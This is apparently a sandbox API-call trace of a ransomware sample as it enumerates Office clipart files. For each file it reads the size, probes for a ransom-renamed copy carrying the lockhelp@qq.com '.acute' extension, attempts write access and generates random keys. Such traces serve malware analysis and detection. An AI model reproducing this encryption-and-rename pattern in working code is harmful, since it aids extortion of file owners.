GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0274.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.959] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.961] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2488) returned 1 [0274.961] CloseHandle (hObject=0x37c) returned 1 [0274.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0274.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.962] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.962] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1676) returned 1 [0274.962] CloseHandle (hObject=0x37c) returned 1 [0274.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0274.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.962] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.963] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3896) returned 1 [0274.963] CloseHandle (hObject=0x37c) returned 1 [0274.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0274.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.963] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.964] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3796) returned 1 [0274.964] CloseHandle (hObject=0x37c) returned 1 [0274.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0274.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.964] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.964] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2436) returned 1 [0274.964] CloseHandle (hObject=0x37c) returned 1 [0274.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0274.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.964] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.965] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2732) returned 1 [0274.965] CloseHandle (hObject=0x37c) returned 1 [0274.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0274.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.965] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.966] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7176) returned 1 [0274.966] CloseHandle (hObject=0x37c) returned 1 [0274.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0274.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.966] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.966] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3494) returned 1 [0274.966] CloseHandle (hObject=0x37c) returned 1 [0274.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0274.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.967] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.967] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=14996) returned 1 [0274.967] CloseHandle (hObject=0x37c) returned 1 [0274.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0274.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.967] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.967] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1874) returned 1 [0274.967] CloseHandle (hObject=0x37c) returned 1 [0274.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0274.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.967] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.968] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3948) returned 1 [0274.968] CloseHandle (hObject=0x37c) returned 1 [0274.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0274.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.973] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.973] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10538) returned 1 [0274.973] CloseHandle (hObject=0x37c) returned 1 [0274.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0274.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.973] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.974] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4236) returned 1 [0274.974] CloseHandle (hObject=0x37c) returned 1 [0274.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0274.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.974] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.975] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3564) returned 1 [0274.975] CloseHandle (hObject=0x37c) returned 1 [0274.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0274.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.975] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.976] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2422) returned 1 [0274.976] CloseHandle (hObject=0x37c) returned 1 [0274.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0274.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.976] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.976] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2262) returned 1 [0274.976] CloseHandle (hObject=0x37c) returned 1 [0274.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0274.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.976] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 